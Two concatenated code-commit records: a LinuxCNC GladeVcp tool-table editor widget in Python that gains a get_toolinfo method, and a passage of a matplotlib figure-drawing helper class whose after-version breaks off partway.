<commit_before>#!/usr/bin/env python
# GladeVcp Widget - tooledit
#
# Copyright (c) 2012 Chris Morley
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

import sys, os, pango, linuxcnc, hashlib
datadir = os.path.abspath(os.path.dirname(__file__))
KEYWORDS = ['','T', 'P', 'X', 'Y', 'Z', 'A', 'B', 'C', 'U', 'V', 'W', 'D', 'I', 'J', 'Q', ';']
try:
    import gobject,gtk
except:
    print('GTK not available')
    sys.exit(1)

class ToolEdit(gtk.VBox):
    __gtype_name__ = 'ToolEdit'
    __gproperties__ = {
        'font' : ( gobject.TYPE_STRING, 'Pango Font', 'Display font to use',
                "sans 12", gobject.PARAM_READWRITE|gobject.PARAM_CONSTRUCT),
        'hide_columns' : ( gobject.TYPE_STRING, 'Hidden Columns', 's,t,p,x,y,z,a,b,c,u,v,w,d,i,j,q,; are the options',
                    "", gobject.PARAM_READWRITE | gobject.PARAM_CONSTRUCT),
    }
    __gproperties = __gproperties__

    def __init__(self,toolfile=None, *a, **kw):
        super(ToolEdit, self).__init__()
        self.emcstat = linuxcnc.stat()
        self.hash_check = None
        self.toolfile = toolfile
        self.num_of_col = 1
        self.font="sans 12"
        self.wTree = gtk.Builder()
        self.wTree.add_from_file(os.path.join(datadir, "tooledit_gtk.glade") )
        # connect the signals from Glade
        dic = {
            "on_delete_clicked" : self.delete,
            "on_add_clicked" : self.add,
            "on_reload_clicked" : self.reload,
            "on_save_clicked" : self.save,
            "cell_toggled" : self.toggled
            }
        self.wTree.connect_signals( dic )
        renderer = self.wTree.get_object("cell_toggle")
        renderer.set_property('activatable', True)
        # list of the columns
        self.objectlist = "s","t","p","x","y","z","a","b","c","u","v","w","d","i","j","q",";"
        # these signals include column data so must be made here instead of in Glade
        # for view 2
        cell_list = "cell_toggle","cell_tool#","cell_pos","cell_x","cell_y","cell_z","cell_a","cell_b", \
                         "cell_c","cell_u","cell_v", "cell_w","cell_d","cell_front","cell_back","cell_orient","cell_comments"
        for col,name in enumerate(cell_list):
            if col == 0:continue
            temp = self.wTree.get_object(name)
            temp.connect( 'edited', self.col_editted, col )

        # global references
        self.model = self.wTree.get_object("liststore1")
        self.all_window = self.wTree.get_object("all_window")
        self.view2 = self.wTree.get_object("treeview2")
        self.apply = self.wTree.get_object("apply")
        # reparent tooledit box from Glades tp level window to tooledit's VBox
        window = self.wTree.get_object("tooledit_box")
        window.reparent(self)
        # If the toolfile was specified when tooledit was created load it
        if toolfile:
            self.reload(None)
        # check linuxcnc status every second
        gobject.timeout_add(1000, self.periodic_check)

    def delete(self,widget):
        liststore  = self.model
        def match_value_cb(model, path, iter, pathlist):
            if model.get_value(iter, 0) == 1 :
                pathlist.append(path)
            return False     # keep the foreach going

        pathlist = []
        liststore.foreach(match_value_cb, pathlist)
        # foreach works in a depth first fashion
        pathlist.reverse()
        for path in pathlist:
            liststore.remove(liststore.get_iter(path))

    def add(self,widget,data=[1,0,0,'0','0','0','0','0','0','0','0','0','0','0','0','0',"comment"]):
        self.model.append(data)
        self.num_of_col +=1

        # this is for adding a filename path after the tooleditor is already loaded.
    def set_filename(self,filename):
        self.toolfile = filename
        self.reload(None)

        # Reload the tool file into display
    def reload(self,widget):
        self.hash_code = self.md5sum(self.toolfile)
        # clear the current liststore, search the tool file, and add each tool
        if self.toolfile == None:return
        self.model.clear()
        print "toolfile:",self.toolfile
        if not os.path.exists(self.toolfile):
            print "Toolfile does not exist"
            return
        logfile = open(self.toolfile, "r").readlines()
        for rawline in logfile:
            # strip the comments from line and add directly to array
            index = rawline.find(";")
            comment = (rawline[index+1:])
            comment = comment.rstrip("\n")
            line = rawline.rstrip(comment)
            array = [0,0,0,'0','0','0','0','0','0','0','0','0','0','0','0','0',comment]
            # search beginning of each word for keyword letters
            # offset 0 is the checkbutton so ignore it
            # if i = ';' that is the comment and we have already added it
            # offset 1 and 2 are integers the rest floats
            for offset,i in enumerate(KEYWORDS):
                if offset == 0 or i == ';': continue
                for word in line.split():
                    if word.startswith(i):
                        if offset in(1,2):
                            try:
                                array[offset]= int(word.lstrip(i))
                            except:
                                pass
                        else:
                            try:
                                array[offset]= "%10.4f"% float(word.lstrip(i))
                            except:
                                pass
                        break
            # add array line to liststore
            self.add(None,array)

    def save(self,widget):
        if self.toolfile == None:return
        file = open(self.toolfile, "w")
        print self.toolfile
        liststore = self.model
        for row in liststore:
            values = [ value for value in row ]
            #print values
            line = ""
            for num,i in enumerate(values):
                if num == 0: continue
                try:
                    test = i.lstrip()
                    line = line + "%s%s "%(KEYWORDS[num], test)
                except:
                    line = line + "%s%d "%(KEYWORDS[num], i)
            print >>file,line
            #print line
        # tell linuxcnc we changed the tool table entries
        try:
            linuxcnc.command().load_tool_table()
        except:
            print "Reloading tooltable into linuxcnc failed"

    # This allows hiding or showing columns of view 2
    # default, all the columns are shown
    def set_visible(self,list,bool):
        try:
            for index in range(0,len(list)):
                name = list[index].lower()
                if not name in self.objectlist:
                    continue
                else:
                    renderer = self.wTree.get_object(name)
                    renderer.set_property('visible', bool)
        except:
            pass

        # not done yet should change the font of the text
    def set_font(self,value):
        pass

        # depending what is editted add the right type of info integer,float or text
    def col_editted(self, widget, path, new_text, col):
        if col in(1,2):
            self.model[path][col] = int(new_text)
        elif col in range(3,16):
            self.model[path][col] = "%10.4f"% float(new_text)
        elif col == 16:
            self.model[path][col] = (new_text)
        #print new_text, col

        # this makes the checkboxes actually update
    def toggled(self, widget, path):
        model = self.model
        model[path][0] = not model[path][0]

        # check for linnuxcnc ON and IDLE which is the only safe time to edit the tool file.
        # check to see if the tool file is current
    def periodic_check(self):
        try:
            self.emcstat.poll()
            on = self.emcstat.task_state > linuxcnc.STATE_OFF
            idle = self.emcstat.interp_state == linuxcnc.INTERP_IDLE
            self.apply.set_sensitive(bool(on and idle))
        except:
            pass
        if self.toolfile:
            self.file_current_check()
        return True

        # create a hash code
    def md5sum(self,filename):
        try:
            f = open(filename, "rb")
        except IOError:
            return None
        else:
            return hashlib.md5(f.read()).hexdigest()

        # check the hash code on the toolfile against
        # the saved hash code when last reloaded.
    def file_current_check(self):
        m = self.hash_code
        m1 = self.md5sum(self.toolfile)
        if m1 and m != m1:
            self.toolfile_stale()

        # you could overload this to do something else.
    def toolfile_stale(self):
        print "Tool file was modified since it was last read"
        self.reload(None)

        # standard Gobject method
    def do_get_property(self, property):
        name = property.name.replace('-', '_')
        if name in self.__gproperties.keys():
            return getattr(self, name)
        else:
            raise AttributeError('unknown property %s' % property.name)

        # standard Gobject method
        # changing the Gobject property 'display_type' will actually change the display
        # This is so that in the Glade editor, you can change the display
        # Note this sets the display absolutely vrs the display_toggle method that toggles the display
    def do_set_property(self, property, value):
        name = property.name.replace('-', '_')
        if name == 'font':
            self.set_font(value)
        if name == 'hide_columns':
            self.set_visible("stpxyzabcuxvdijq;",True)
            self.set_visible("%s"%value,False)
        if name in self.__gproperties.keys():
            setattr(self, name, value)

    def __getitem__(self, item):
        return getattr(self, item)
    def __setitem__(self, item, value):
        return setattr(self, item, value)

# for testing without glade editor:
# for what ever reason tooledit always shows both display lists,
# in the glade editor it shows only one at a time (as it should)
# you can specify a tool table file at the command line
# or uncomment the line and set the path correctly.
def main(filename=None):
    window = gtk.Dialog("My dialog",
                   None,
                   gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT,
                   (gtk.STOCK_CANCEL, gtk.RESPONSE_REJECT,
                    gtk.STOCK_OK, gtk.RESPONSE_ACCEPT))
    tooledit = ToolEdit(filename)

    window.vbox.add(tooledit)
    tooledit.set_visible("Abcijquvw",False)
    window.connect("destroy", gtk.main_quit)
    #tooledit.set_filename("/home/chris/emc2-dev/configs/sim/gscreen/test.tbl")
    window.show_all()
    response = window.run()
    if response == gtk.RESPONSE_ACCEPT:
       print "True"
    else:
       print "False"

if __name__ == "__main__":
    # if there arw two arguments then specify the path
    if len(sys.argv) > 1: main(sys.argv[1])
    else: main()

<commit_msg>gladevcp -add get_toolinfo method to tooleditor<commit_after>#!/usr/bin/env python
# GladeVcp Widget - tooledit
#
# Copyright (c) 2012 Chris Morley
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

import sys, os, pango, linuxcnc, hashlib
datadir = os.path.abspath(os.path.dirname(__file__))
KEYWORDS = ['','T', 'P', 'X', 'Y', 'Z', 'A', 'B', 'C', 'U', 'V', 'W', 'D', 'I', 'J', 'Q', ';']
try:
    import gobject,gtk
except:
    print('GTK not available')
    sys.exit(1)

class ToolEdit(gtk.VBox):
    __gtype_name__ = 'ToolEdit'
    __gproperties__ = {
        'font' : ( gobject.TYPE_STRING, 'Pango Font', 'Display font to use',
                "sans 12", gobject.PARAM_READWRITE|gobject.PARAM_CONSTRUCT),
        'hide_columns' : ( gobject.TYPE_STRING, 'Hidden Columns', 's,t,p,x,y,z,a,b,c,u,v,w,d,i,j,q,; are the options',
                    "", gobject.PARAM_READWRITE | gobject.PARAM_CONSTRUCT),
    }
    __gproperties = __gproperties__

    def __init__(self,toolfile=None, *a, **kw):
        super(ToolEdit, self).__init__()
        self.emcstat = linuxcnc.stat()
        self.hash_check = None
        self.toolfile = toolfile
        self.num_of_col = 1
        self.font="sans 12"
        self.toolinfo_num = 0
        self.toolinfo = []
        self.wTree = gtk.Builder()
        self.wTree.add_from_file(os.path.join(datadir, "tooledit_gtk.glade") )
        # connect the signals from Glade
        dic = {
            "on_delete_clicked" : self.delete,
            "on_add_clicked" : self.add,
            "on_reload_clicked" : self.reload,
            "on_save_clicked" : self.save,
            "cell_toggled" : self.toggled
            }
        self.wTree.connect_signals( dic )
        renderer = self.wTree.get_object("cell_toggle")
        renderer.set_property('activatable', True)
        # list of the columns
        self.objectlist = "s","t","p","x","y","z","a","b","c","u","v","w","d","i","j","q",";"
        # these signals include column data so must be made here instead of in Glade
        # for view 2
        cell_list = "cell_toggle","cell_tool#","cell_pos","cell_x","cell_y","cell_z","cell_a","cell_b", \
                         "cell_c","cell_u","cell_v", "cell_w","cell_d","cell_front","cell_back","cell_orient","cell_comments"
        for col,name in enumerate(cell_list):
            if col == 0:continue
            temp = self.wTree.get_object(name)
            temp.connect( 'edited', self.col_editted, col )

        # global references
        self.model = self.wTree.get_object("liststore1")
        self.all_window = self.wTree.get_object("all_window")
        self.view2 = self.wTree.get_object("treeview2")
        self.apply = self.wTree.get_object("apply")
        # reparent tooledit box from Glades tp level window to tooledit's VBox
        window = self.wTree.get_object("tooledit_box")
        window.reparent(self)
        # If the toolfile was specified when tooledit was created load it
        if toolfile:
            self.reload(None)
        # check linuxcnc status every second
        gobject.timeout_add(1000, self.periodic_check)

    def delete(self,widget):
        liststore  = self.model
        def match_value_cb(model, path, iter, pathlist):
            if model.get_value(iter, 0) == 1 :
                pathlist.append(path)
            return False     # keep the foreach going

        pathlist = []
        liststore.foreach(match_value_cb, pathlist)
        # foreach works in a depth first fashion
        pathlist.reverse()
        for path in pathlist:
            liststore.remove(liststore.get_iter(path))

    def add(self,widget,data=[1,0,0,'0','0','0','0','0','0','0','0','0','0','0','0','0',"comment"]):
        self.model.append(data)
        self.num_of_col +=1

        # this is for adding a filename path after the tooleditor is already loaded.
    def set_filename(self,filename):
        self.toolfile = filename
        self.reload(None)

        # Reload the tool file into display
    def reload(self,widget):
        self.hash_code = self.md5sum(self.toolfile)
        # clear the current liststore, search the tool file, and add each tool
        if self.toolfile == None:return
        self.model.clear()
        print "toolfile:",self.toolfile
        if not os.path.exists(self.toolfile):
            print "Toolfile does not exist"
            return
        logfile = open(self.toolfile, "r").readlines()
        self.toolinfo = []
        for rawline in logfile:
            # strip the comments from line and add directly to array
            index = rawline.find(";")
            comment = (rawline[index+1:])
            comment = comment.rstrip("\n")
            line = rawline.rstrip(comment)
            array = [0,0,0,'0','0','0','0','0','0','0','0','0','0','0','0','0',comment]
            toolinfo_flag = False
            # search beginning of each word for keyword letters
            # offset 0 is the checkbutton so ignore it
            # if i = ';' that is the comment and we have already added it
            # offset 1 and 2 are integers the rest floats
            for offset,i in enumerate(KEYWORDS):
                if offset == 0 or i == ';': continue
                for word in line.split():
                    if word.startswith(i):
                        if offset == 1:
                            if int(word.lstrip(i)) == self.toolinfo_num:
                                toolinfo_flag = True
                        if offset in(1,2):
                            try:
                                array[offset]= int(word.lstrip(i))
                            except:
                                pass
                        else:
                            try:
                                array[offset]= "%10.4f"% float(word.lstrip(i))
                            except:
                                pass
                        break
            if toolinfo_flag:
                self.toolinfo = array
            # add array line to liststore
            self.add(None,array)

    def save(self,widget):
        if self.toolfile == None:return
        file = open(self.toolfile, "w")
        print self.toolfile
        liststore = self.model
        for row in liststore:
            values = [ value for value in row ]
            #print values
            line = ""
            for num,i in enumerate(values):
                if num == 0: continue
                try:
                    test = i.lstrip()
                    line = line + "%s%s "%(KEYWORDS[num], test)
                except:
                    line = line + "%s%d "%(KEYWORDS[num], i)
            print >>file,line
            #print line
        # tell linuxcnc we changed the tool table entries
        try:
            linuxcnc.command().load_tool_table()
        except:
            print "Reloading tooltable into linuxcnc failed"

    # This allows hiding or showing columns of view 2
    # default, all the columns are shown
    def set_visible(self,list,bool):
        try:
            for index in range(0,len(list)):
                name = list[index].lower()
                if not name in self.objectlist:
                    continue
                else:
                    renderer = self.wTree.get_object(name)
                    renderer.set_property('visible', bool)
        except:
            pass

        # not done yet should change the font of the text
    def set_font(self,value):
        pass

        # depending what is editted add the right type of info integer,float or text
    def col_editted(self, widget, path, new_text, col):
        if col in(1,2):
            self.model[path][col] = int(new_text)
        elif col in range(3,16):
            self.model[path][col] = "%10.4f"% float(new_text)
        elif col == 16:
            self.model[path][col] = (new_text)
        #print new_text, col

        # this makes the checkboxes actually update
    def toggled(self, widget, path):
        model = self.model
        model[path][0] = not model[path][0]

        # check for linnuxcnc ON and IDLE which is the only safe time to edit the tool file.
        # check to see if the tool file is current
    def periodic_check(self):
        try:
            self.emcstat.poll()
            on = self.emcstat.task_state > linuxcnc.STATE_OFF
            idle = self.emcstat.interp_state == linuxcnc.INTERP_IDLE
            self.apply.set_sensitive(bool(on and idle))
        except:
            pass
        if self.toolfile:
            self.file_current_check()
        return True

        # create a hash code
    def md5sum(self,filename):
        try:
            f = open(filename, "rb")
        except IOError:
            return None
        else:
            return hashlib.md5(f.read()).hexdigest()

        # check the hash code on the toolfile against
        # the saved hash code when last reloaded.
    def file_current_check(self):
        m = self.hash_code
        m1 = self.md5sum(self.toolfile)
        if m1 and m != m1:
            self.toolfile_stale()

        # you could overload this to do something else.
    def toolfile_stale(self):
        print "Tool file was modified since it was last read"
        self.reload(None)

        # Returns the tool information array of the requested toolnumber
        # or current tool if no tool number is specified
        # returns None if tool not found in table or if there is no current tool
    def get_toolinfo(self,toolnum=None):
        if toolnum == None:
            self.toolinfo_num = self.emcstat.tool_in_spindle
        else:
            self.toolinfo_num = toolnum
        self.reload(None)
        if self.toolinfo == []: return None
        return self.toolinfo

        # standard Gobject method
    def do_get_property(self, property):
        name = property.name.replace('-', '_')
        if name in self.__gproperties.keys():
            return getattr(self, name)
        else:
            raise AttributeError('unknown property %s' % property.name)

        # standard Gobject method
        # changing the Gobject property 'display_type' will actually change the display
        # This is so that in the Glade editor, you can change the display
        # Note this sets the display absolutely vrs the display_toggle method that toggles the display
    def do_set_property(self, property, value):
        name = property.name.replace('-', '_')
        if name == 'font':
            self.set_font(value)
        if name == 'hide_columns':
            self.set_visible("stpxyzabcuxvdijq;",True)
            self.set_visible("%s"%value,False)
        if name in self.__gproperties.keys():
            setattr(self, name, value)

    def __getitem__(self, item):
        return getattr(self, item)
    def __setitem__(self, item, value):
        return setattr(self, item, value)

# for testing without glade editor:
# for what ever reason tooledit always shows both display lists,
# in the glade editor it shows only one at a time (as it should)
# you can specify a tool table file at the command line
# or uncomment the line and set the path correctly.
def main(filename=None):
    window = gtk.Dialog("My dialog",
                   None,
                   gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT,
                   (gtk.STOCK_CANCEL, gtk.RESPONSE_REJECT,
                    gtk.STOCK_OK, gtk.RESPONSE_ACCEPT))
    tooledit = ToolEdit(filename)

    window.vbox.add(tooledit)
    tooledit.set_visible("Abcijquvw",False)
    window.connect("destroy", gtk.main_quit)
    #tooledit.set_filename("/home/chris/emc2-dev/configs/sim/gscreen/test.tbl")
    window.show_all()
    response = window.run()
    if response == gtk.RESPONSE_ACCEPT:
       print "True"
    else:
       print "False"

if __name__ == "__main__":
    # if there arw two arguments then specify the path
    if len(sys.argv) > 1: main(sys.argv[1])
    else: main()

<|endoftext|>


<commit_before>import matplotlib
matplotlib.use('Svg') # Change renderer so it doesn't use the GUI
matplotlib.rcParams['mathtext.fontset'] = 'cm' # Change font to Computer Modern (LaTeX font)
import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = [10,10]
from shapes import Polygon, Circle, Ellipse, Arrow

import numpy as np
import StringIO
import math
import re

class Figures:
	def __init__(self):
		self.fig, self.ax = plt.subplots()
		self.fig.set_dpi(72)
		self.tick_interval = .25
		self.tick_label_interval = 1
		self.tight_fit = True
		self.padding = 0
		self.height = None

	def __export__(self):
		export_str = StringIO.StringIO()
		self.__writeFile__(export_str, format='svg')
		export_str.seek(0)  # rewind the data
		s = export_str.buf  # this is svg data

		# Clipping height to the used area after rendering
		# https://stackoverflow.com/questions/22667224/matplotlib-get-text-bounding-box-independent-of-backend/22689498
		# https://stackoverflow.com/questions/28692981/matplotlib-get-resulting-bounding-box-of-bbox-inches-tight
		#print(self.ax.get_position().bounds) # This gives you percentage wise the xmin, ymin, width, height up to the very edge of the grid lines
		#print(self.fig.bbox)
		if self.height == 'auto':
		 	bb = self.ax.get_tightbbox(self.fig._cachedRenderer) #get_renderer()))

			minY = math.floor(bb.y0)
			maxY = math.ceil(bb.y1)

			s = re.sub(r'height="[0-9]+pt"', 'height="%dpt"' % (maxY - minY), s)

			viewBoxReg = r'viewBox="([0-9]+ [0-9]+ [0-9]+ [0-9]+)"';
			viewBox = [int(x) for x in re.search(viewBoxReg, s).group(1).split(' ')]
			viewBox[1] = viewBox[3] - maxY
			viewBox[3] = (maxY - minY)
			s = re.sub(viewBoxReg, 'viewBox="' + ' '.join([str(x) for x in viewBox]) + '"', s)

		return s

	def __writeFile__(self, file_location, **kwargs):
		self.fig.savefig(file_location, bbox_inches=('tight' if self.tight_fit else None), pad_inches=self.padding, **kwargs)

	def __display__(self):
		plt.show()

	def format_axis(self, xyrange=None, grid=False, arrows=True, color='black'):
		# Modify the plot view to scale, remove axis, and center our shape

		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		def adjust_spines(ax, spines):
		    for loc, spine in ax.spines.items():
		        if loc in spines:
		            spine.set_position(('outward', 10))  # outward by 10 points
		            spine.set_smart_bounds(True)
		        else:
		            spine.set_color('none')  # don't draw spine

		    # turn off ticks where there is no spine
		    if 'left' in spines:
		        ax.yaxis.set_ticks_position('left')
		    else:
		        # no yaxis ticks
		        ax.yaxis.set_ticks([])

		    if 'bottom' in spines:
		        ax.xaxis.set_ticks_position('bottom')
		    else:
		        # no xaxis ticks
		        ax.xaxis.set_ticks([])

		if xyrange == None:
			plt.axis('off')
			plt.axis('scaled')
		else:
			plt.gca().set_aspect('equal', adjustable='box')
			self.ax.set_xlim(left=xyrange[0][0], right=xyrange[0][1])
			self.ax.set_ylim(bottom=xyrange[1][0], top=xyrange[1][1])

			self.ax.spines['right'].set_color('none')
			self.ax.spines['top'].set_color('none')

			self.ax.spines['left'].set_position(('data', 0))
			self.ax.spines['bottom'].set_position(('data', 0))

		if grid:
			self.ax.grid(color='k', linestyle='dashed', linewidth=.5, alpha=0.5)

		if arrows:
			xmin, xmax = self.ax.get_xlim()
			ymin, ymax = self.ax.get_ylim()

			self.ax.arrow(xmin, 0, xmax-xmin, 0., lw = 1,
			         head_width=self.tick_interval/3, head_length=self.tick_interval/3,
			         length_includes_head=True, clip_on=False,color=color_dict[color])

			self.ax.arrow(0, ymin, 0., ymax-ymin, lw = 1,
			         head_width=self.tick_interval/3, head_length=self.tick_interval/3,
					 length_includes_head=True, clip_on=False,color=color_dict[color])

		# Control color
		self.ax.spines['bottom'].set_color(color_dict[color])
		self.ax.spines['left'].set_color(color_dict[color])

	def setPixelSize(self, width=400, height=None, padding=0):
		"""Sets the pixel size of the figure.

			If only width is provided, then the figure will try to tight fit to that width
			If height is also specified, then the size is completely fixed to that size
		"""

		# a point is 1/72in;  12pt = 16px
		px2in = lambda p: (p * 0.75 / 72.0)

		self.padding = px2in(padding)

		width_in = px2in(width)
		height_in = width_in

		if height == 'auto':
			self.height = height
			self.tight_fit = False
			self.fig.set_tight_layout({ "pad": self.padding })
			height_in = 2*width_in
		elif height != None:
			self.tight_fit = False
			self.fig.set_tight_layout({ "pad": self.padding })
			height_in = px2in(height)

		self.fig.set_size_inches((width_in, height_in))

	def addPoint(self, xys, texts, pointsize=6, fontsize=12, colors='black', latex=True):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}
		if not isinstance(colors, list):
			colors = [colors]
			xys = [xys]
			texts = [texts]

		for xy, text, color in zip(xys, texts, colors):
			plt.plot(xy[0], xy[1], 'o{}'.format(color_dict[color]), ms=pointsize)
			self.ax.annotate("$"+text+"$" if latex else text, xytext=xy, xy=xy, fontsize=fontsize, horizontalalignment='center', textcoords='offset points')

	def addText(self, xy, text, color="black", fontsize=12, alignment='center'):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}
		if not isinstance(color, list):
			color = [color]
			xy = [xy]
			text = [text]
			alignment = [alignment]

		for xy, text, color, alignment in zip(xy, text, color, alignment):
			self.ax.annotate(text, xytext=xy, xy=xy, fontsize=fontsize, horizontalalignment=alignment)

	def addFunction(self, functions, xyranges, colors='black', linewidth=2):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		if not isinstance(functions, list):
			functions = [functions]
			xyranges = [xyranges]
			colors = [colors]

		for function, xyrange, color in zip(functions, xyranges, colors):
			x = np.linspace(xyrange[0][0], xyrange[0][1], 1000)
			y = function(x)
			self.ax.plot(x, y, color_dict[color])

	def addTicks(self, tick_label_interval=1, tick_interval=1, fontsize=12):
		self.tick_interval = tick_interval
		self.tick_label_interval = tick_label_interval
		# Control ticks
		self.ax.xaxis.set_major_locator(matplotlib.ticker.MultipleLocator(tick_label_interval))
		self.ax.yaxis.set_major_locator(matplotlib.ticker.MultipleLocator(tick_label_interval))
		self.ax.xaxis.set_minor_locator(matplotlib.ticker.MultipleLocator(tick_interval))
		self.ax.yaxis.set_minor_locator(matplotlib.ticker.MultipleLocator(tick_interval))
		self.ax.tick_params(axis='both', which='major', labelsize=fontsize)
		#self.ax.tick_params(axis='both', which='minor', labelsize=8)

	def addPolygon(self, vertices):
		polygon = Polygon.Polygon(vertices, self.fig, self.ax)
		return polygon

	def addCircle(self, xy=(0,0), diameter=None, radius=None, label=None):
		circle = Circle.Circle(self.fig, self.ax, xy, diameter, radius, label)
		return circle

	def addEllipse(self, xy=(0,0), width=None, height=None, wlabel=None, hlabel=None, is_radius=True):
		ellipse = Ellipse.Ellipse(self.fig, self.ax, xy, width, height, wlabel, hlabel, is_radius)
		return ellipse

	def addTriangle_angle(self, xy=(0,0), angle=(45*np.pi)/180, rotation=0):
		# Define the angles and sides
		alpha = angle
		beta = np.pi/2
		gamma = ((np.pi-beta-alpha))

		A = 1
		B = np.sin(beta)/np.sin(alpha)
		C = np.sin(gamma)/np.sin(alpha)

		# Define the vertices
		vertex_A = [0+xy[0], A+xy[1]]
		vertex_B = xy
		vertex_C = [C+xy[0], 0+xy[1]]

		polygon = Polygon.Polygon([vertex_A, vertex_B, vertex_C], self.fig, self.ax)

		# Perform the rotation if at all
		transformation = matplotlib.transforms.Affine2D().rotate(rotation) + self.ax.transData
		polygon.matplotlib_obj.set_transform(transformation)

		# Create and add polygon
		#self.ax.add_patch(polygon)

		return polygon

	def addTriangle_side(self):
		raise Exception('Not implemented yet!')

	def addArrow(self, xy, dxdy, color='black'):
		return Arrow.Arrow(self.ax, self.fig, xy, dxdy, color)
<commit_msg>Added optional latex and finish arrows<commit_after>import matplotlib
matplotlib.use('Svg') # Change renderer so it doesn't use the GUI
matplotlib.rcParams['mathtext.fontset'] = 'cm' # Change font to Computer Modern (LaTeX font)
import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = [10,10]
from shapes import Polygon, Circle, Ellipse, Arrow

import numpy as np
import StringIO
import math
import re

class Figures:
	def __init__(self):
		self.fig, self.ax = plt.subplots()
		self.fig.set_dpi(72)
		self.tick_interval = .25
		self.tick_label_interval = 1
		self.tight_fit = True
		self.padding = 0
		self.height = None

	def __export__(self):
		export_str = StringIO.StringIO()
		self.__writeFile__(export_str, format='svg')
		export_str.seek(0)  # rewind the data
		s = export_str.buf  # this is svg data

		# Clipping height to the used area after rendering
		# https://stackoverflow.com/questions/22667224/matplotlib-get-text-bounding-box-independent-of-backend/22689498
		# https://stackoverflow.com/questions/28692981/matplotlib-get-resulting-bounding-box-of-bbox-inches-tight
		#print(self.ax.get_position().bounds) # This gives you percentage wise the xmin, ymin, width, height up to the very edge of the grid lines
		#print(self.fig.bbox)
		if self.height == 'auto':
		 	bb = self.ax.get_tightbbox(self.fig._cachedRenderer) #get_renderer()))

			minY = math.floor(bb.y0)
			maxY = math.ceil(bb.y1)

			s = re.sub(r'height="[0-9]+pt"', 'height="%dpt"' % (maxY - minY), s)

			viewBoxReg = r'viewBox="([0-9]+ [0-9]+ [0-9]+ [0-9]+)"';
			viewBox = [int(x) for x in re.search(viewBoxReg, s).group(1).split(' ')]
			viewBox[1] = viewBox[3] - maxY
			viewBox[3] = (maxY - minY)
			s = re.sub(viewBoxReg, 'viewBox="' + ' '.join([str(x) for x in viewBox]) + '"', s)

		return s

	def __writeFile__(self, file_location, **kwargs):
		self.fig.savefig(file_location, bbox_inches=('tight' if self.tight_fit else None), pad_inches=self.padding, **kwargs)

	def __display__(self):
		plt.show()

	def format_axis(self, xyrange=None, grid=False, arrows=True, color='black'):
		# Modify the plot view to scale, remove axis, and center our shape

		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		def adjust_spines(ax, spines):
		    for loc, spine in ax.spines.items():
		        if loc in spines:
		            spine.set_position(('outward', 10))  # outward by 10 points
		            spine.set_smart_bounds(True)
		        else:
		            spine.set_color('none')  # don't draw spine

		    # turn off ticks where there is no spine
		    if 'left' in spines:
		        ax.yaxis.set_ticks_position('left')
		    else:
		        # no yaxis ticks
		        ax.yaxis.set_ticks([])

		    if 'bottom' in spines:
		        ax.xaxis.set_ticks_position('bottom')
		    else:
		        # no xaxis ticks
		        ax.xaxis.set_ticks([])

		if xyrange == None:
			plt.axis('off')
			plt.axis('scaled')
		else:
			plt.gca().set_aspect('equal', adjustable='box')
			self.ax.set_xlim(left=xyrange[0][0], right=xyrange[0][1])
			self.ax.set_ylim(bottom=xyrange[1][0], top=xyrange[1][1])

			self.ax.spines['right'].set_color('none')
			self.ax.spines['top'].set_color('none')

			self.ax.spines['left'].set_position(('data', 0))
			self.ax.spines['bottom'].set_position(('data', 0))

		if grid:
			self.ax.grid(color='k', linestyle='dashed', linewidth=.5, alpha=0.5)

		if arrows:
			xmin, xmax = self.ax.get_xlim()
			ymin, ymax = self.ax.get_ylim()

			self.ax.arrow(xmin, 0, xmax-xmin, 0., lw = 1,
			         head_width=self.tick_interval/3, head_length=self.tick_interval/3,
			         length_includes_head=True, clip_on=False,color=color_dict[color])

			self.ax.arrow(0, ymin, 0., ymax-ymin, lw = 1,
			         head_width=self.tick_interval/3, head_length=self.tick_interval/3,
					 length_includes_head=True, clip_on=False,color=color_dict[color])

		# Control color
		self.ax.spines['bottom'].set_color(color_dict[color])
		self.ax.spines['left'].set_color(color_dict[color])

	def setPixelSize(self, width=400, height=None, padding=0):
		"""Sets the pixel size of the figure.

			If only width is provided, then the figure will try to tight fit to that width
			If height is also specified, then the size is completely fixed to that size
		"""

		# a point is 1/72in;  12pt = 16px
		px2in = lambda p: (p * 0.75 / 72.0)

		self.padding = px2in(padding)

		width_in = px2in(width)
		height_in = width_in

		if height == 'auto':
			self.height = height
			self.tight_fit = False
			self.fig.set_tight_layout({ "pad": self.padding })
			height_in = 2*width_in
		elif height != None:
			self.tight_fit = False
			self.fig.set_tight_layout({ "pad": self.padding })
			height_in = px2in(height)

		self.fig.set_size_inches((width_in, height_in))

	def addPoint(self, xys, texts, pointsize=6, fontsize=12, colors='black', latex=True):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
